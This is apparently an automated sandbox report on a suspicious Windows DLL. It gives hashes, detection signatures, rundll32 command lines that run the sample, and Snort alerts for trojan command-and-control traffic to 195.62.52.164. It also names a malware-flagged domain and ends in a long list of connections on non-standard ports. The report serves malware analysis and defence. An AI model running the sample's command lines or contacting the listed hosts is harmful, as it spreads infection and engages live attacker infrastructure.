Edit tour

Windows Analysis Report
RqrQG7s66x.dll

Overview

General Information

Sample name:	RqrQG7s66x.dll renamed because original name is a hash value
Original sample name:	29e9150af910082acd681a4f5f4a2fc4.dll
Analysis ID:	1357419
MD5:	29e9150af910082acd681a4f5f4a2fc4
SHA1:	faed61788a117ba9554b938a4220c1fb937608a4
SHA256:	ee6a8f650041e6523a5ddd17ad94b74c32d6a45c3f4f38a8c5b268949214d6cb
Tags:	dll
Infos:

Detection

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

System process connects to network (likely due to code injection or exploit)

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Entry point lies outside standard sections

Found decision node followed by non-executed suspicious APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 6724 cmdline: loaddll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 4904 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 4992 cmdline: rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5584 cmdline: rundll32.exe C:\Users\user\Desktop\RqrQG7s66x.dll,DllEntry MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 3792 cmdline: rundll32.exe "C:\Users\user\Desktop\RqrQG7s66x.dll",DllEntry MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Snort Signatures

ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC - Source IP: 192.168.2.6 - Destination IP: 195.62.52.164

Timestamp:	192.168.2.6195.62.52.1644970910012806881 12/10/23-17:49:55.328701
SID:	2806881
Source Port:	49709
Destination Port:	1001
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC - Source IP: 192.168.2.6 - Destination IP: 195.62.52.164

Timestamp:	192.168.2.6195.62.52.1645022610022806881 12/10/23-17:51:56.614877
SID:	2806881
Source Port:	50226
Destination Port:	1002
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://work.a-poster.info	Avira URL Cloud: Label: malware
Source: http://work.a-poster.info:25000/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: work.a-poster.info	Virustotal: Detection: 10%	Perma Link
Source: http://work.a-poster.info	Virustotal: Detection: 10%	Perma Link
Source: http://work.a-poster.info:25000/	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: RqrQG7s66x.dll	ReversingLabs: Detection: 48%
Source: RqrQG7s66x.dll	Virustotal: Detection: 49%			Perma Link

Machine Learning detection for sample

Source: RqrQG7s66x.dll

Joe Sandbox ML: detected

Source: RqrQG7s66x.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49861 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.142.141:443 -> 192.168.2.6:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49882 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.139.60:443 -> 192.168.2.6:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:49930 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.69.142.141:443 -> 192.168.2.6:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 94.100.184.66:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.61.62.118:443 -> 192.168.2.6:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50189 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.194.234.100:443 -> 192.168.2.6:50199 version: TLS 1.2

Source: RqrQG7s66x.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 4_2_6CB08300 GetWindowsDirectoryA,FindFirstFileA,FindClose,GetWindowsDirectoryA,FindFirstFileA,FindClose,

4_2_6CB08300

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2806881 ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC 192.168.2.6:49709 -> 195.62.52.164:1001
Source: Traffic	Snort IDS: 2806881 ETPRO TROJAN TrojanProxy.Win32/Hioles.B CnC 192.168.2.6:50226 -> 195.62.52.164:1002

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 18.244.102.65 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 66.218.84.137 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.69.139.60 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 23.194.234.100 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 212.227.17.170 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 95.181.181.87 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 87.240.139.193 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 192.178.50.38 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 209.97.16.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 195.62.52.164 1002	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.74.64.236 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 18.244.102.111 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 68.180.135.252 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 182.248.170.98 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 35.169.166.3 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 212.227.17.186 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 217.69.142.141 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 162.19.169.11 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 40.99.149.210 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 77.222.22.101 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 84.116.6.22 993	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 142.250.217.196 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 165.227.126.8 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 65.8.248.10 443	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Domain query: be.search.yahoo.com

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50136
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 50137 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50146
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50155
Source: unknown	Network traffic detected: HTTP traffic on port 50155 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50157
Source: unknown	Network traffic detected: HTTP traffic on port 50157 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50161
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50163
Source: unknown	Network traffic detected: HTTP traffic on port 50163 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50165
Source: unknown	Network traffic detected: HTTP traffic on port 50165 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50167
Source: unknown	Network traffic detected: HTTP traffic on port 50167 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50168
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50172
Source: unknown	Network traffic detected: HTTP traffic on port 50172 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50175
Source: unknown	Network traffic detected: HTTP traffic on port 50175 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50176
Source: unknown	Network traffic detected: HTTP traffic on port 50176 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50182
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50183
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50184
Source: unknown	Network traffic detected: HTTP traffic on port 50184 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 50183 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50190
Source: unknown	Network traffic detected: HTTP traffic on port 50190 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50192
Source: unknown	Network traffic detected: HTTP traffic on port 50192 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50193
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50195
Source: unknown	Network traffic detected: HTTP traffic on port 50195 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50202
Source: unknown	Network traffic detected: HTTP traffic on port 50202 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50206
Source: unknown	Network traffic detected: HTTP traffic on port 50206 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50209
Source: unknown	Network traffic detected: HTTP traffic on port 50209 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50214
Source: unknown	Network traffic detected: HTTP traffic on port 50214 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50216
Source: unknown	Network traffic detected: HTTP traffic on port 50216 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50218
Source: unknown	Network traffic detected: HTTP traffic on port 50218 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50223
Source: unknown	Network traffic detected: HTTP traffic on port 50223 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50226
Source: unknown	Network traffic detected: HTTP traffic on port 50226 -> 1002
Source: unknown	Network traffic detected: HTTP traffic on port 1002 -> 50227
